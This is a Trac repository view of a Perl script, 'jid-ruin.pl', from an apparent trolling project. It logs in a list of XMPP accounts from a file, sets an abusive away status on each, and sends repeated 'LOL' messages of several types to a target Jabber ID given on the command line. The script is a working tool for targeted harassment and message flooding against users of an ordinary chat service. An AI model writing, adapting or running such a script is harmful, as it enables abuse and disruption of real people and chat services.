source: trollforge/mao/xmpp-ruin/jid-ruin.pl @ 548

Revision 335, 1.9 KB checked in by mao, 3 years ago (diff)

Improved jru-autoreg.pl

Line 
1#!/usr/bin/perl
2use strict;
3use utf8;
4use AnyEvent;
5use AnyEvent::XMPP qw/xep-86/;
6use AnyEvent::XMPP::Client;
7
8die "usage: $0 <target jid>" unless $ARGV[0];
9
10my $target = $ARGV[0];
11my $j = AnyEvent->condvar;
12
13open(ACCS, "<", "accounts.txt");
14my @accounts = <ACCS>;
15close(ACCS);
16use Data::Dumper;
17
18foreach my $account(@accounts) {
19  chomp $account;
20  #print $account;
21  my ($user, $pw) = split ":" => $account;
22  ruin($user, $pw);
23}
24
25sub ruin {
26  my $user = shift;
27  my $pw = shift;
28  my $cl = AnyEvent::XMPP::Client->new (debug => 0);
29 
30  $cl->add_account ($user, $pw);
31
32  $cl->set_presence ('away', 'FUCK YOU', 1);
33
34  $cl->reg_cb (
35               session_ready => sub {
36                 print "Connected!\n";
37                 #print Dumper($_[0]);
38                 $cl->send_message ("LOL" => $target, $cl->get_account($user), 'normal');
39                 $cl->send_message ("LOL" => $target, $cl->get_account($user), 'error');
40                 $cl->send_message ("LOL" => $target, $cl->get_account($user), 'headline');
41                 0
42               },
43               roster_update => sub {
44                 my ($cl, $acc, $roster, $contacts) = @_;
45                 #$roster->debug_dump;
46                 #print "OEOFWEFIEJWFEWO\n" if not $roster->is_retrieved;
47                 1
48               },
49               presence_update => sub {
50                 my ($cl, $acc, $roster, $contact, $old, $new) = @_;
51                 #$roster->debug_dump;
52                 1
53               },
54               error => sub {
55                 my ($cl, $acc, $error) = @_;
56                 print "ERROR: ".$error->string."\n";
57               },
58               disconnect => sub { warn "DISCON[@_]\n"; 1 },
59              );
60
61#$cl->reg_cb (contact_request_subscribe => sub {
62#   my ($cl, $acc, $roster, $contact) = @_;
63#   $contact->send_subscribe;
64#   0
65#});
66
67#$cl->reg_cb (contact_did_unsubscribe => sub {
68#   my ($cl, $acc, $roster, $contact, $rdoit) = @_;
69#   1
70#});
71
72#$cl->reg_cb (roster_update => sub {
73#   my ($cl, $acc, $roster, $contacts) = @_;
74#   $roster->debug_dump;
75#   0
76#});
77
78  $cl->start;
79}
80
81#my $timer =
82#      $cl->send_message ("Hello!" => 'd@jabbim.com');
83
84$j->wait;
Note: See TracBrowser for help on using the repository browser.